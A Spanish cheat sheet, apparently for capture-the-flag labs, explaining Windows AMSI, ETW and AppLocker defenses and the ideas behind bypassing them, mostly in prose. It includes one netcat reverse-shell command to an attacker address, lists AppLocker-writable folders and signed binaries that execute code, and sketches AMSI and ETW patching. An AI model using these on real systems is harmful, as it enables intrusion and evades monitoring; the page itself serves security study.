Evasión explicada: AMSI, ETW y AppLocker

Esta chuleta es de referencia: explica los mecanismos de defensa de Windows y los conceptos de bypass que se estudian, con comandos para comprobar en qué estado estás y enlaces a las máquinas donde aparecen. No es un kit de evasión listo para saltarse un EDR real.

Tus datos Se guardan en este navegador y se aplican a todas las chuletas.

AMSI

AMSI (Antimalware Scan Interface) es la tubería por la que PowerShell, los scripts y las macros pasan su contenido al antivirus antes de ejecutarlo. Por eso una reverse shell en texto plano se bloquea aunque no toque el disco.

Practícalo en: APTMultimasterPivotAPI

Cómo funciona

El flujo, en una frase Teclas
# amsi.dll -> AmsiScanBuffer() -> antivirus. Si devuelve AMSI_RESULT_DETECTED, el host corta la ejecución.
Comprobar que AMSI está activo (cadena de prueba, inofensiva) Víctima
'AMSI Test Sample: 7e72c3ce-861b-4339-8740-0ac1484c1386'

Es la cadena oficial de prueba de Microsoft (como EICAR). Si PowerShell la bloquea, AMSI funciona. No hace nada.

Ideas de bypass (conceptos)

Explicadas para que entiendas por qué funcionan y por qué Defender actual detecta las versiones públicas. En un examen o pentest tendrás que adaptarlas.

1. Forzar un error de inicialización Teclas
# Poner a valor no nulo el campo 'amsiInitFailed' por reflexión hace que AMSI se dé por roto y no escanee esa sesión. La firma literal lleva años detectada: hay que ofuscarla.
2. Parchear AmsiScanBuffer en memoria Teclas
# Sobrescribir el principio de AmsiScanBuffer para que siempre devuelva 'limpio'. Es lo que hace la mayoría de loaders; el EDR vigila justo esa escritura.
3. Evitar PowerShell Teclas
# AMSI está en el host del script. Ejecutar un binario .NET propio, C o un lenguaje sin integración con AMSI esquiva el problema de raíz.

Qué lo detecta

Registro de bloques de script (evento 4104) Teclas
# Aunque saltes AMSI, PowerShell puede registrar el script ya decodificado en el visor de eventos. La evasión real tiene que apagar también ETW (pestaña siguiente).

ETW

ETW (Event Tracing for Windows) es el sistema de telemetría del que beben los EDR: carga de ensamblados .NET, llamadas sospechosas, PowerShell... Cegarlo quita visibilidad al defensor.

Practícalo en: APT

Cómo funciona

Los proveedores que importan Teclas
# Microsoft-Windows-PowerShell y Microsoft-Windows-DotNETRuntime son los más usados para cazar ataques en memoria.
Ver proveedores y sesiones activas Víctima
logman query providers | findstr /i "powershell dotnet"
logman query -ets

Idea de bypass (concepto)

Neutralizar EtwEventWrite Teclas
# La técnica pública parchea EtwEventWrite en ntdll para que retorne de inmediato: deja de emitirse telemetría de ese proceso. Como con AMSI, el parche en caliente de ntdll es justo lo que un buen EDR vigila.

AppLocker / CLM

AppLocker decide qué ejecutables y scripts puede lanzar un usuario. Cuando está activo para PowerShell, fuerza el modo de lenguaje restringido (Constrained Language Mode), que quita casi todo lo ofensivo del lenguaje.

Practícalo en: SniperReelReel2AccessGiddySizzle

¿Estoy limitado?

Ver el modo de lenguaje Víctima
$ExecutionContext.SessionState.LanguageMode

ConstrainedLanguage = estás limitado; FullLanguage = libre.

Leer las reglas de AppLocker Víctima
Get-AppLockerPolicy -Effective -Xml

Por dónde se escapa (conceptos)

El fallo casi siempre es una carpeta permitida donde el usuario puede escribir, o un binario de confianza que ejecuta código (LOLBAS).

Carpetas que suelen estar permitidas y son escribibles Teclas
# C:\Windows\Tasks, C:\Windows\Temp\<subcarpetas>, C:\Windows\System32\spool\drivers\color. Si una regla permite C:\Windows\* y puedes escribir ahí, puedes ejecutar.
Cuando falla la reverse shell de PowerShell: usa netcat Víctima
# Es la lección de Sniper: en modo restringido el one-liner de PowerShell no corre, pero un nc.exe subido a una carpeta permitida sí.
nc.exe 10.10.14.5 443 -e cmd.exe
LOLBAS que ejecutan por ti Teclas
# InstallUtil.exe, MSBuild.exe, regsvr32.exe, rundll32.exe: binarios firmados por Microsoft que ejecutan código y suelen estar en la lista blanca. Busca en lolbas-project.github.io.